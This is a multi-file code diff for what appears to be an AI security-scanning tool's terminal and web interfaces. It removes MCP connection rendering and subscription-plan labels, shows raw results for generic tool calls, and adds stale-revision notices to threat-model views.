// the connection is the whole subject and leads. Same icon and colors as a tool
// call so the two read as one family while scrolling a transcript.
func renderMcpInspect(connection, status string) string {
var b strings.Builder
b.WriteString(mcpIcon + Dim().Render("Inspecting MCP server ") + Bold(Mint).Render(connection) + "\n")
icon, style := statusIcon(status)
b.WriteString(style.Render(icon))
return b.String()
}
// renderMcpList renders list_mcps: the inventory of connections the run may
// reach, not a call to any of them, so no connection leads and the event
// carries no connection tag. Unlike the other MCP results, the names are worth
// showing: Strix assembled them itself from the run's registered connections,
// so they are short and never an outside server's payload.
func renderMcpList(result any, status string) string {
var b strings.Builder
b.WriteString(mcpIcon + Dim().Render("Listing MCP servers") + "\n")
for _, conn := range mcpConnectionEntries(result) {
b.WriteString(" " + Col(Slate).Render(conn.name))
if conn.dead {
b.WriteString(Dim().Render(" · ") + Col(Red).Render("offline"))
}
b.WriteString("\n")
}
icon, style := statusIcon(status)
b.WriteString(style.Render(icon))
return b.String()
}
// mcpListEntry is one connection read out of a list_mcps result: its display
// name and whether its live session has died.
type mcpListEntry struct {
name string
dead bool
}
// mcpConnectionEntries reads the connections out of a list_mcps result, which is
// {"connections": [{"name": ..., "dead": ...}, ...]}. Anything else (still
// running, or a result bounded down to a string) yields no entries, and the
// header plus status stand alone.
func mcpConnectionEntries(result any) []mcpListEntry {
resultMap, _ := result.(map[string]any)
connections, _ := resultMap["connections"].([]any)
var entries []mcpListEntry
for _, raw := range connections {
entry, ok := raw.(map[string]any)
if !ok {
continue
}
if name := strings.TrimSpace(StringValue(entry["name"])); name != "" {
dead, _ := entry["dead"].(bool)
entries = append(entries, mcpListEntry{name: name, dead: dead})
}
}
return entries
}

View File

@@ -22,20 +22,19 @@ func statusIcon(status string) (string, lipgloss.Style) {
return "○ Unknown", Dim()
}
// renderGenericTool ports registry._render_default_tool_widget. It shows the
// tool name, its arguments, and a status line only. The raw result is
// deliberately not rendered: a generic result (e.g. a multi-kilobyte JSON
// payload from a database query tool) is noise on screen, and the agent narrates
// what it got in its next message. The full result still lives in the event
// data, the run log, and the `strix view` viewer.
func renderGenericTool(name string, args map[string]any, status string) string {
// renderGenericTool ports registry._render_default_tool_widget.
func renderGenericTool(name string, args map[string]any, result any, status string) string {
var b strings.Builder
b.WriteString(Dim().Render("→ Using tool ") + Bold(Blue).Render(name) + "\n")
for _, k := range SortedKeys(args) {
b.WriteString(" " + Dim().Render(k) + ": " + StringValue(args[k]) + "\n")
}
icon, style := statusIcon(status)
b.WriteString(style.Render(icon))
if (status == "completed" || status == "failed" || status == "error") && result != nil {
b.WriteString(lipgloss.NewStyle().Bold(true).Render("Result: ") + StringValue(result))
} else {
icon, style := statusIcon(status)
b.WriteString(style.Render(icon))
}
return b.String()
}
@@ -52,28 +51,7 @@ func Tool(data map[string]any) string {
}
result := data["result"]
// A call to a tool from one of the user's MCP servers is tagged with the
// connection it came from, because its name is the server's own and means
// nothing here. The tag is only ever set from the connections the run made,
// so it is the one thing that can tell such a call apart from a built-in.
if connection := StringValue(data["mcp_connection"]); connection != "" {
// describe_mcp inspects a connection's catalog rather than calling a tool
// on it, so there is no underlying tool and the connection is the subject.
if name == "describe_mcp" {
return renderMcpInspect(connection, status)
}
toolName := StringValue(data["mcp_tool"])
if toolName == "" {
toolName = name
}
return renderMcpTool(connection, toolName, args, status)
}
switch name {
// list_mcps inventories every connection rather than touching one, so it is
// the one MCP tool with no connection tag and routes by name like a built-in.
case "list_mcps":
return renderMcpList(result, status)
case "exec_command":
return renderExecCommand(args, result, status)
case "write_stdin":
@@ -113,7 +91,7 @@ func Tool(data map[string]any) string {
case "list_requests", "view_request", "repeat_request", "list_sitemap", "view_sitemap_entry", "scope_rules":
return renderProxyTool(name, args, result, status)
}
return renderGenericTool(name, args, status)
return renderGenericTool(name, args, result, status)
}
// ---------------------------------------------------------------------------

View File

@@ -203,7 +203,7 @@ func TestToolDispatchCoversKnownTools(t *testing.T) {
{
"unknown tool falls back to generic",
tool("brand_new_tool", map[string]any{"alpha": "1"}, "done", "completed"),
[]string{"brand_new_tool", "alpha", "Done"},
[]string{"brand_new_tool", "alpha", "Result:", "done"},
},
}
@@ -214,78 +214,6 @@ func TestToolDispatchCoversKnownTools(t *testing.T) {
}
}
func TestGenericToolOmitsRawResult(t *testing.T) {
// The generic renderer shows tool name, args, and a status line only, never
// the raw result payload.
long := strings.Repeat("x", 5000)
out := ansi.Strip(Tool(tool("db_query", map[string]any{"query": "select 1"}, long, "completed")))
requireContains(t, out, "db_query", "query", "Done")
if strings.Contains(out, "Result:") || strings.Contains(out, strings.Repeat("x", 20)) {
t.Fatalf("generic result body must not be rendered:\n%s", out)
}
}
func TestMcpToolLeadsWithActionAndNamesTheServer(t *testing.T) {
// call_mcp is the dispatch tool; the connection and the server's own tool
// name are tagged onto the event from its arguments.
data := tool("call_mcp", map[string]any{"path": "/etc/hosts"}, "file body", "completed")
data["mcp_connection"] = "local_fs"
data["mcp_tool"] = "read_file"
out := ansi.Strip(Tool(data))
// The action leads; the server is context that trails it.
if !strings.HasPrefix(out, mcpIcon+"read_file") {
t.Fatalf("MCP render must lead with the tool's own name:\n%s", out)
}
requireContains(t, out, "local_fs", "path", "/etc/hosts", "Done")
// Untrusted server output stays off the terminal, as for the generic render.
if strings.Contains(out, "file body") {
t.Fatalf("MCP result body must not be rendered:\n%s", out)
}
}
func TestMcpToolWithoutTaggedToolFallsBackToDispatchName(t *testing.T) {
// A call_mcp whose underlying tool could not be read still renders as an MCP
// row, falling back to the dispatch tool name.
data := tool("call_mcp", nil, nil, "running")
data["mcp_connection"] = "local_fs"
requireContains(t, ansi.Strip(Tool(data)), mcpIcon+"call_mcp", "local_fs", "In progress")
}
func TestMcpDescribeInspectsConnection(t *testing.T) {
// describe_mcp inspects a connection; the connection is the subject and the
// dispatch tool name is not shown as if it were a server tool.
data := tool("describe_mcp", nil, nil, "completed")
data["mcp_connection"] = "local_fs"
out := ansi.Strip(Tool(data))
requireContains(t, out, mcpIcon, "Inspecting MCP server", "local_fs", "Done")
if strings.Contains(out, "describe_mcp") {
t.Fatalf("describe_mcp must read as inspecting the connection, not name the dispatch tool:\n%s", out)
}
}
func TestMcpListMarksDeadConnectionsOffline(t *testing.T) {
// list_mcps carries a per-connection dead flag; a dead connection reads as
// offline in the inventory while a live one shows normally.
result := map[string]any{
"connections": []any{
map[string]any{"name": "supabase", "tool_count": float64(3), "dead": false},
map[string]any{"name": "vercel", "tool_count": float64(1), "dead": true},
},
}
data := tool("list_mcps", nil, result, "completed")
out := ansi.Strip(Tool(data))
requireContains(t, out, "Listing MCP servers", "supabase", "vercel", "offline")
if strings.Count(out, "offline") != 1 {
t.Fatalf("only the dead connection should read offline:\n%s", out)
}
}
func TestCollapseToolShellPreviewAndExpand(t *testing.T) {
lines := make([]string, 16)
for i := range lines {

View File

@@ -56,6 +56,9 @@ func renderThreatModel(name string, args map[string]any, result any) string {
threatModelBody(&b, StringValue(args["addendum"]))
default:
b.WriteString("\n " + Col(Green).Render("✓ saved"))
if revision := shortRevision(StringValue(m["revision"])); revision != "" {
b.WriteString(Dim().Render(" at " + revision))
}
// Saving folds amendments away, so the count that vanished is worth
// stating: it is the one destructive thing this tool does.
if cleared, ok := NumericValue(m["amendments_cleared"]); ok && cleared > 0 {
@@ -69,9 +72,15 @@ func renderThreatModel(name string, args map[string]any, result any) string {
func threatModelReadBody(b *strings.Builder, result map[string]any) {
if !truthy(result["found"]) {
b.WriteString("\n " + Dim().Render("No model derived for this target yet"))
b.WriteString("\n " + Dim().Render("No model cached for this target yet"))
return
}
if truthy(result["stale"]) {
b.WriteString("\n " + Col(AmberY).Render("⚠ stale"))
if cached := shortRevision(StringValue(result["cached_revision"])); cached != "" {
b.WriteString(Dim().Render(" (written at " + cached + ")"))
}
}
if amendments, ok := result["amendments"].([]any); ok && len(amendments) > 0 {
b.WriteString("\n " + Col(Gold).Render("+ "+strconv.Itoa(len(amendments))+
" amendment(s)") + Dim().Render(" — later statements win"))
@@ -117,3 +126,13 @@ func threatModelBody(b *strings.Builder, content string) {
b.WriteString("\n " + Dim().Render(strings.Join(headings, " · ")))
}
}
// shortRevision abbreviates a git sha; "unversioned" targets have no revision
// worth showing.
func shortRevision(revision string) string {
revision = strings.TrimSpace(revision)
if revision == "" || revision == "unversioned" {
return ""
}
return firstN(revision, 8)
}

View File

@@ -14,7 +14,6 @@ from agents.tool import ToolOutputImage
from strix.core.paths import runtime_state_dir
from strix.interface.tui.history import load_session_history
from strix.tools.mcp import resolve_mcp_call
class TuiLiveView:
@@ -28,23 +27,6 @@ class TuiLiveView:
self._user_instruction_at: str | None = None
self._user_instruction_shown = False
def _mcp_tool_fields(self, tool_name: str, args: dict[str, Any]) -> dict[str, str]:
"""Event fields naming the MCP server a tool call went out to, if any.
Delegates to the shared engine resolver :func:`resolve_mcp_call` so a
dispatch call is attributed the same way here and in strix-pro's tracer.
The projection has no live registry, so it passes none: it reports the
connection and tool read from the call's arguments and leaves the provider
out. Empty for every other tool, which is what tells an interface to
render the call as one of its own rather than as a call to a user's
server. ``describe_mcp`` resolves with an empty tool, which tells both
renderers to present the row as inspecting the connection itself.
"""
info = resolve_mcp_call(tool_name, args)
if info is None:
return {}
return {"mcp_connection": info.connection, "mcp_tool": info.tool}
def set_user_instruction(self, text: str | None, *, timestamp: str | None = None) -> None:
"""Open the transcript with what the user asked for.
@@ -91,7 +73,7 @@ class TuiLiveView:
def hydrate_from_run_dir(self, run_dir: Path) -> None:
# Armed before the agents are added so the root agent's arrival puts the
# user's opening message ahead of the replayed history.
self._load_run_record(run_dir)
self._load_user_instruction(run_dir)
state_dir = runtime_state_dir(run_dir)
agents_path = state_dir / "agents.json"
if not agents_path.exists():
@@ -103,7 +85,6 @@ class TuiLiveView:
statuses = agents_data.get("statuses") or {}
names = agents_data.get("names") or {}
parent_of = agents_data.get("parent_of") or {}
errors = agents_data.get("errors") or {}
if not isinstance(statuses, dict):
return
for agent_id, status in statuses.items():
@@ -114,14 +95,13 @@ class TuiLiveView:
name=names.get(agent_id, agent_id) if isinstance(names, dict) else agent_id,
parent_id=parent_of.get(agent_id) if isinstance(parent_of, dict) else None,
status=str(status),
error_message=errors.get(agent_id) if isinstance(errors, dict) else None,
)
# Ahead of the replayed history, so it opens the transcript.
self.flush_user_instruction()
self._hydrate_sdk_session_history(run_dir, statuses.keys())
def _load_run_record(self, run_dir: Path) -> None:
"""Take the user's opening message off the record."""
def _load_user_instruction(self, run_dir: Path) -> None:
"""Take the user's opening message from the run record, if it has one."""
try:
record = json.loads((run_dir / "run.json").read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
@@ -338,7 +318,6 @@ class TuiLiveView:
"status": "running",
"agent_id": agent_id,
"call_id": call_id,
**self._mcp_tool_fields(call["tool_name"], call["args"]),
}
if existing is None:
event = self._append_event(agent_id, "tool", tool_data, timestamp=timestamp)
@@ -361,10 +340,6 @@ class TuiLiveView:
event_key = (agent_id, call_id)
event = self._tool_event_by_agent_and_call_id.get(event_key)
if event is None:
# No prior call event to update, so its arguments are gone and the
# connection an MCP call went out to cannot be recovered. The matching
# call event, when there is one, already carries the MCP fields; this
# arrives only when the call was never projected, so it stays generic.
event = self._append_event(
agent_id,
"tool",

View File

@@ -185,7 +185,6 @@ class GoTuiRuntime:
max_turns=self.args.max_turns,
max_budget_usd=self.args.max_budget_usd,
event_sink=self.capture_event,
mcp_status_sink=self.capture_mcp_status,
)
await self._sync_agent_state()
if self.controller.scan_state == "running":
@@ -211,15 +210,6 @@ class GoTuiRuntime:
self.live_view.ingest_sdk_event(agent_id, event)
self.controller.notify_changed()
def capture_mcp_status(self, roster: list[dict[str, Any]]) -> None:
"""Receive the engine's MCP connection roster and hand it to the controller.
Runs on the scan's event loop (called from the runner at establishment
and from a session's on-dead callback), the same loop that drives
``capture_event``, so updating the controller and repainting here is
safe. The controller renders it as the sidebar MCP connections panel."""
self.controller.set_mcp_connections(roster)
async def _sync_agent_state(self) -> bool:
parent_of, statuses, names, errors = await self.coordinator.graph_snapshot()
changed = False
@@ -258,9 +248,6 @@ class GoTuiRuntime:
scan_state = "failed"
if root_id is not None and errors.get(root_id):
self.controller.error = errors[root_id]
elif scan_state == "failed" and root_status in {"running", "waiting", "budget_paused"}:
scan_state = "running"
self.controller.error = None
elif scan_state != "failed":
if report_status == "completed":
scan_state = "completed"

View File

@@ -264,36 +264,6 @@ def prompt_update_if_available(console: Console) -> bool:
return run_package_upgrade(console, method)
def restart_env() -> dict[str, str]:
"""Environment for re-exec'ing the binary after a self-update.
The PyInstaller bootloader marks its child process via environment
variables (``_MEIPASS2`` on older versions, ``_PYI_*`` on 6.x) that
point at the already-extracted archive of the *running* version. If
they leak into the re-exec'd process, the new binary skips extraction
and runs the old code, so the update never appears to take effect.
Library-path variables the bootloader overrode are restored from the
``*_ORIG`` copies it saved.
"""
env = {
key: value
for key, value in os.environ.items()
if key != "_MEIPASS2" and not key.startswith("_PYI_")
}
for var in ("LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "DYLD_FRAMEWORK_PATH"):
orig = env.pop(f"{var}_ORIG", None)
if orig is not None:
env[var] = orig
elif var in os.environ:
env.pop(var, None)
return env
def restart_after_update() -> None:
"""Replace the current process with the freshly updated binary."""
os.execve(sys.executable, sys.argv, restart_env()) # noqa: S606 # nosec B606
def _release_target() -> str | None:
raw_os = platform.system().lower()
os_name = {"darwin": "macos", "linux": "linux", "windows": "windows"}.get(raw_os)

View File

@@ -281,27 +281,9 @@ def is_subscription_run(report_state: Any) -> bool:
record = getattr(report_state, "run_record", None)
if isinstance(record, dict) and record.get("auth_mode"):
return record.get("auth_mode") == "subscription"
from strix.config import opencode
from strix.config import codex
return opencode.auth_mode(load_settings().llm.model) == "subscription"
def subscription_label() -> str:
"""Display name of the subscription behind the configured model."""
from strix.config import opencode
oc = opencode.subscription_model(load_settings().llm.model)
if oc:
return oc.label
return "ChatGPT subscription"
def subscription_is_metered() -> bool:
"""Whether the run spends per-request credits rather than a flat plan."""
from strix.config import opencode
oc = opencode.subscription_model(load_settings().llm.model)
return oc is not None and oc.metered
return codex.auth_mode(load_settings().llm.model) == "subscription"
def _int_stat(usage: dict[str, Any], key: str) -> int:
@@ -344,9 +326,7 @@ def _build_llm_usage_stats(
if not usage or _int_stat(usage, "requests") <= 0:
stats_text.append("\n")
stats_text.append("Cost ", style="dim")
if subscription and subscription_is_metered():
stats_text.append("credits ", style="#22c55e")
elif subscription:
if subscription:
stats_text.append("$0.00 ", style="#22c55e")
stats_text.append("(subscription) ", style="dim")
else:
@@ -375,19 +355,7 @@ def _build_llm_usage_stats(
stats_text.append("Output Tokens ", style="dim")
stats_text.append(format_token_count(output_tokens), style="white")
if subscription and subscription_is_metered():
# Zen spends prepaid credits per request, so a run is not free. Its
# Anthropic route runs through LiteLLM and yields a real charge; the
# OpenAI-SDK routes report none, and an unpriced run says so rather
# than claiming $0.00.
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
if cost > 0:
stats_text.append(f"${cost:.4f}", style="#22c55e")
stats_text.append(" (credits)", style="dim")
else:
stats_text.append("credits", style="#22c55e")
elif subscription:
if subscription:
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
stats_text.append("$0.00", style="#22c55e")
@@ -419,7 +387,7 @@ def build_live_stats_text(report_state: Any) -> Text:
stats_text.append(str(model), style="white")
if is_subscription_run(report_state):
stats_text.append(" · ", style="dim white")
stats_text.append(subscription_label(), style="#22c55e")
stats_text.append("ChatGPT subscription", style="#22c55e")
stats_text.append("\n")
vuln_count = len(report_state.vulnerability_reports)
@@ -465,7 +433,7 @@ def build_tui_stats_text(report_state: Any) -> Text:
subscription = is_subscription_run(report_state)
if subscription:
stats_text.append("\n")
stats_text.append(subscription_label(), style="#22c55e")
stats_text.append("ChatGPT subscription", style="#22c55e")
usage = _llm_usage(report_state)
if usage and _int_stat(usage, "total_tokens") > 0:

View File

@@ -30,7 +30,6 @@ import {
fetchTranscript,
fetchVulnerabilities,
forgetAuth,
parseMcpConnectionStatus,
type AuthStatus,
type LoadedRun,
type RunsPayload,
@@ -170,27 +169,6 @@ export default function App() {
const agentCount = run?.transcript.agents.length ?? 0;
const verified = auth?.verified === true;
// The run's persisted MCP roster (from run.json via /api/run), plus the set of
// connections with a tool call currently in flight. "In use" is derived here
// from the connection-tagged tool events rather than carried on the roster:
// an MCP dispatch event carries its connection name and a status that moves
// running -> completed, so a connection is in use while one of its events is
// still running. This mirrors the terminal UI's MCP panel exactly.
const mcpConnections = useMemo(
() => (run ? parseMcpConnectionStatus(run.raw) : []),
[run]
);
const mcpInUse = useMemo(() => {
const inUse = new Set<string>();
for (const event of run?.transcript.events ?? []) {
if (event.type !== "tool") continue;
const connection = event.data?.mcp_connection;
if (typeof connection !== "string" || !connection) continue;
if (event.data?.status === "running") inUse.add(connection);
}
return inUse;
}, [run]);
// Per-run guard for the default view: land on Agents while a scan is live,
// Overview once it finishes. Applied at most once per run and never once the
// user has navigated manually (userSetView flips the guard).
@@ -273,8 +251,6 @@ export default function App() {
}}
issuesCount={run?.vulnerabilities.length ?? 0}
agentCount={agentCount}
mcpConnections={mcpConnections}
mcpInUse={mcpInUse}
runCount={runs?.count ?? 0}
finished={run?.finished ?? false}
verified={verified}

View File

@@ -101,23 +101,6 @@ export function RunDetails({
const totalTokens = num(usage.total_tokens);
const cost = num(usage.cost);
const subscription = str(raw.auth_mode) === "subscription";
const subscriptionProvider =
str(raw.subscription_provider) ??
(models.some((m) => m.toLowerCase().startsWith("opencode")) ? "opencode" : "chatgpt");
// Runs recorded before subscription_plan existed still carry the model string,
// whose prefix names the plan.
const subscriptionPlan =
str(raw.subscription_plan) ??
(models.some((m) => m.toLowerCase().startsWith("opencode-go/")) ? "go" : "zen");
const subscriptionLabel =
subscriptionProvider === "opencode"
? subscriptionPlan === "go"
? "OpenCode Go"
: "OpenCode Zen"
: "ChatGPT subscription";
// Zen bills prepaid credits per request, so its runs are not free and there is
// no price table to estimate them from. Go is a flat monthly plan.
const metered = subscriptionProvider === "opencode" && subscriptionPlan === "zen";
const sub = (n: number, word: string) => (
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
@@ -197,7 +180,7 @@ export function RunDetails({
<Field label="Provider">
<span className="inline-flex items-center gap-1.5">
<span className="rounded-full border border-[#22c55e]/40 bg-[#22c55e]/10 px-2 py-0.5 text-[11px] text-[#22c55e]">
{subscriptionLabel}
ChatGPT subscription
</span>
</span>
</Field>
@@ -217,21 +200,7 @@ export function RunDetails({
</Field>
)}
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
{subscription && metered ? (
<Field label="Cost">
{cost != null && cost > 0 ? (
<>
<span className="text-[#22c55e]">${cost.toFixed(2)}</span>
<span className="text-[#666]"> (Zen credits)</span>
</>
) : (
<>
<span className="text-[#22c55e]">credits</span>
<span className="text-[#666]"> (not priced locally)</span>
</>
)}
</Field>
) : subscription ? (
{subscription ? (
<Field label="Cost">
<span className="text-[#22c55e]">$0.00</span>
<span className="text-[#666]"> (subscription)</span>

View File

@@ -14,7 +14,6 @@ import { IoChatbubblesOutline } from "react-icons/io5";
import { cn } from "@/lib/utils";
import { ctaUrl, trackCta } from "@/lib/cta";
import { UpgradeModal } from "@/components/UpgradeModal";
import type { McpConnectionStatus } from "@/data/serverSource";
import type { View } from "@/App";
/**
@@ -38,8 +37,6 @@ interface SidebarProps {
onSelectView: (view: View) => void;
issuesCount: number;
agentCount: number;
mcpConnections: McpConnectionStatus[];
mcpInUse: Set<string>;
runCount: number;
finished: boolean;
verified: boolean;
@@ -64,8 +61,6 @@ export default function Sidebar({
onSelectView,
issuesCount,
agentCount,
mcpConnections,
mcpInUse,
runCount,
finished,
verified,
@@ -251,9 +246,6 @@ export default function Sidebar({
onClick={() => onSelectView("agents")}
/>
)}
{mcpConnections.length > 0 && (
<McpConnectionsPanel connections={mcpConnections} inUse={mcpInUse} />
)}
<NavItem
icon={<History className="h-4 w-4" />}
label="Past runs"
@@ -429,84 +421,6 @@ function NavItem({ icon, label, active, onClick, count }: NavItemProps) {
);
}
// The quarter-circle sweep frames the terminal UI cycles for an in-use
// connection, and the sub-second tick that advances them.
const SWEEP_FRAMES = ["◐", "◓", "◑", "◒"] as const;
const SWEEP_MS = 220;
/**
* The MCP connections panel: a compact roster of the run's connected MCP
* servers, matching the terminal UI's sidebar panel. A header carries the
* total count; each row shows a status glyph, the connection name, and its
* tool count (or "offline"):
* - solid green dot: attached and idle;
* - green cycling quarter-circle (◐◓◑◒): a tool call is running against it;
* - red dot + "offline": the connection's live session has died.
*
* "In use" is derived by the caller from the connection-tagged tool events, not
* carried on the roster, so a call in flight shows motion with no extra signal.
* The roster scrolls within a bounded height so a long list never blows out the
* rail, mirroring how the nav above it scrolls.
*/
function McpConnectionsPanel({
connections,
inUse,
}: {
connections: McpConnectionStatus[];
inUse: Set<string>;
}) {
const anyInUse = connections.some((c) => !c.dead && inUse.has(c.name));
const [frame, setFrame] = useState(0);
// Advance the sweep only while at least one connection is in use, so an idle
// panel does no work.
useEffect(() => {
if (!anyInUse) return;
const id = setInterval(() => setFrame((f) => (f + 1) % SWEEP_FRAMES.length), SWEEP_MS);
return () => clearInterval(id);
}, [anyInUse]);
return (
<div className="mt-1">
<div className="flex h-7 items-center px-2 text-[11px] font-medium text-[#666]">
MCP Connections ({connections.length})
</div>
<div className="max-h-48 overflow-y-auto overflow-x-clip scrollbar-thin">
{connections.map((conn) => {
const busy = !conn.dead && inUse.has(conn.name);
return (
<div
key={conn.name}
className="flex h-7 items-center gap-2 rounded-md px-2"
title={conn.provider ? `${conn.name} · ${conn.provider}` : conn.name}
>
<span
className={cn(
"w-3 flex-none text-center text-[11px] leading-none",
conn.dead ? "text-red-400" : "text-emerald-400"
)}
aria-hidden="true"
>
{conn.dead ? "●" : busy ? SWEEP_FRAMES[frame] : "●"}
</span>
<span className="min-w-0 flex-1 truncate text-[13px] font-medium text-[#ededed]">
{conn.name}
</span>
{conn.dead ? (
<span className="flex-none text-[11px] text-red-400">offline</span>
) : (
<span className="flex-none text-[11px] tabular-nums text-[#666]">
{conn.toolCount} {conn.toolCount === 1 ? "tool" : "tools"}
</span>
)}
</div>
);
})}
</div>
</div>
);
}
// Overview icon: a dashboard grid glyph (16x16 viewBox).
function ProjectsIcon() {
return (

View File

@@ -30,7 +30,7 @@ class RendererErrorBoundary extends Component<
}
function SafeToolRenderer(props: ToolRendererProps) {
const Renderer = getToolRenderer(props.toolName, props.mcpConnection);
const Renderer = getToolRenderer(props.toolName);
return (
<RendererErrorBoundary toolName={props.toolName}>
<Renderer {...props} />
@@ -63,10 +63,6 @@ function coerce(value: unknown): unknown {
}
}
function asOptionalString(value: unknown): string | null {
return typeof value === "string" && value ? value : null;
}
function asRecord(value: unknown): Record<string, unknown> {
const c = coerce(value);
if (c && typeof c === "object" && !Array.isArray(c)) return c as Record<string, unknown>;
@@ -248,14 +244,11 @@ export function AgentTranscript({
const isTool = event.type === "tool";
const toolName = isTool ? String(event.data?.tool_name ?? "tool") : "";
const role = !isTool ? String(event.data?.role ?? "assistant") : "";
// Present only on a call to one of the user's own MCP servers.
const mcpConnection = asOptionalString(event.data?.mcp_connection);
const mcpTool = asOptionalString(event.data?.mcp_tool);
let Icon;
let iconColor: string;
if (isTool) {
const meta = getToolIcon(toolName, mcpConnection);
const meta = getToolIcon(toolName);
Icon = meta.icon;
iconColor = meta.color;
} else {
@@ -286,8 +279,6 @@ export function AgentTranscript({
{isTool ? (
<SafeToolRenderer
toolName={toolName}
mcpConnection={mcpConnection}
mcpTool={mcpTool}
args={asRecord(event.data?.args)}
result={coerce(event.data?.result) ?? null}
status={

View File

@@ -1,174 +0,0 @@
"use client";
import type { ToolRendererProps } from "@/types/events";
/**
* A call to a tool from one of the MCP servers the user connected.
*
* Deliberately the same shape as the terminal: the tool's own name, the server
* it went to, the arguments one per line, and a status. The result is not shown.
* These payloads are routinely thousands of characters of JSON that say nothing a
* reader wants at this point in the transcript, and the agent narrates what it
* learned in its next message. A failure is the exception, because that is what
* someone is looking for when a step did not work; it renders as inert text,
* never as markdown, since it came from a server outside Strix.
*
* The full result is still in the run's event data on disk either way.
*
* list_mcps is the other exception: its result is the engine's own inventory of
* the run's connections (names and tool counts), short and assembled by Strix
* rather than returned by an outside server, so it is shown inline.
*/
/** Arguments one line each, as the terminal prints them. */
function argLines(args: unknown): string[] {
if (!args || typeof args !== "object" || Array.isArray(args)) return [];
return Object.entries(args as Record<string, unknown>).map(([key, value]) => {
const rendered = typeof value === "string" ? value : JSON.stringify(value);
return `${key}: ${rendered ?? String(value)}`;
});
}
/** One connection out of a list_mcps inventory. */
interface McpListingEntry {
name: string;
toolCount: number | null;
dead: boolean;
}
/**
* The connections out of a list_mcps result, which is
* `{"connections": [{id, name, description, tool_count}, ...]}`, sometimes
* arriving JSON-encoded as a string. Anything else yields an empty list and the
* row shows just the header and status. Unlike other MCP results this one is
* safe to show: the engine assembled it from the run's own registered
* connections, so it is short and never an outside server's payload. It still
* renders as inert text.
*/
function listingEntries(result: unknown): McpListingEntry[] {
let value = result;
if (typeof value === "string") {
try {
value = JSON.parse(value);
} catch {
return [];
}
}
const connections =
value && typeof value === "object" && !Array.isArray(value)
? (value as Record<string, unknown>).connections
: null;
if (!Array.isArray(connections)) return [];
return connections.flatMap((entry) => {
if (!entry || typeof entry !== "object" || Array.isArray(entry)) return [];
const record = entry as Record<string, unknown>;
const name =
typeof record.name === "string" && record.name.trim()
? record.name.trim()
: typeof record.id === "string"
? record.id.trim()
: "";
if (!name) return [];
const toolCount = typeof record.tool_count === "number" ? record.tool_count : null;
const dead = record.dead === true;
return [{ name, toolCount, dead }];
});
}
const MAX_ERROR_CHARS = 600;
function errorText(result: unknown): string | null {
if (typeof result === "string") {
const trimmed = result.trim();
if (!trimmed) return null;
return trimmed.length > MAX_ERROR_CHARS ? `${trimmed.slice(0, MAX_ERROR_CHARS)}` : trimmed;
}
return null;
}
export default function McpRenderer({
toolName,
mcpTool,
mcpConnection,
args,
result,
status,
}: ToolRendererProps) {
const lines = argLines(args);
const failed = status === "failed" || status === "error";
const error = failed ? errorText(result) : null;
// describe_mcp inspects a connection's catalog rather than calling a tool on
// it, so the connection is the subject and there is no underlying tool.
const inspecting = toolName === "describe_mcp";
// list_mcps inventories every connection rather than touching one, so it
// carries no connection at all and is routed here by name instead.
const listing = toolName === "list_mcps";
const entries = listing ? listingEntries(result) : [];
return (
<div>
<div className="flex items-center gap-2 flex-wrap">
{listing ? (
<span className="text-[13px] text-[#555]">Listing connected MCP servers</span>
) : inspecting ? (
<>
<span className="text-[13px] text-[#555]">Inspecting MCP server</span>
{mcpConnection && (
<span className="font-mono text-teal-300 font-semibold text-sm">{mcpConnection}</span>
)}
</>
) : (
<>
<span className="font-mono text-teal-300 font-semibold text-sm">
{mcpTool || toolName}
</span>
<span className="text-[13px] text-[#555]">via MCP server</span>
{mcpConnection && <span className="text-[13px] text-teal-400/80">{mcpConnection}</span>}
</>
)}
</div>
{lines.length > 0 && (
<div className="mt-1 font-mono text-[13px] leading-relaxed">
{lines.map((line) => (
<div key={line} className="text-[#777] break-all">
{line}
</div>
))}
</div>
)}
{entries.length > 0 && (
<div className="mt-1 font-mono text-[13px] leading-relaxed">
{entries.map((entry) => (
<div key={entry.name} className={`break-all${entry.dead ? " opacity-50" : ""}`}>
<span className="text-teal-300">{entry.name}</span>
{entry.dead ? (
<span className="text-red-400/80"> · offline</span>
) : (
entry.toolCount !== null && (
<span className="text-[#555]">
{" "}
· {entry.toolCount} {entry.toolCount === 1 ? "tool" : "tools"}
</span>
)
)}
</div>
))}
</div>
)}
<div className="mt-1 text-[13px]">
{status === "running" && <span className="text-[#666]">Running</span>}
{status === "completed" && <span className="text-emerald-400/80"> Done</span>}
{failed && <span className="text-red-400/80"> Failed</span>}
</div>
{error && (
<pre className="mt-1 font-mono text-[13px] leading-relaxed whitespace-pre-wrap break-words text-red-400/70">
{error}
</pre>
)}
</div>
);
}

View File

@@ -16,6 +16,13 @@ const ACTION_LABELS: Record<string, { label: string; Icon: typeof Crosshair }> =
amend_threat_model: { label: "Threat model amended", Icon: Plus },
};
/** A git sha is noise past its first bytes, and "unversioned" is not a revision. */
function shortRevision(revision: unknown): string {
const value = typeof revision === "string" ? revision.trim() : "";
if (!value || value === "unversioned") return "";
return value.slice(0, 8);
}
export default function ThreatModelRenderer({ toolName, args, result }: ToolRendererProps) {
const action = ACTION_LABELS[toolName] ?? { label: "Threat model", Icon: Crosshair };
const ActionIcon = action.Icon;
@@ -52,15 +59,22 @@ export default function ThreatModelRenderer({ toolName, args, result }: ToolRend
return (
<div>
{header}
<div className="mt-1.5 text-[#555] text-xs">No model derived for this target yet</div>
<div className="mt-1.5 text-[#555] text-xs">No model cached for this target yet</div>
</div>
);
}
const rawAmendments = structured?.amendments;
const amendments: Amendment[] = Array.isArray(rawAmendments) ? (rawAmendments as Amendment[]) : [];
const cachedRevision = shortRevision(structured?.cached_revision);
return (
<div>
{header}
{structured?.stale === true && (
<div className="mt-1.5 flex items-center gap-1.5 text-yellow-400/80 text-xs">
<AlertTriangle className="w-3 h-3 shrink-0" />
<span>stale{cachedRevision ? ` — written at ${cachedRevision}` : ""}</span>
</div>
)}
{amendments.length > 0 && (
<div className="mt-2">
<span className="text-amber-400/70 text-xs font-semibold">
@@ -105,10 +119,12 @@ export default function ThreatModelRenderer({ toolName, args, result }: ToolRend
}
const cleared = (structured?.amendments_cleared as number | undefined) ?? 0;
const revision = shortRevision(structured?.revision);
const content = (args.content as string) ?? "";
return (
<div>
{header}
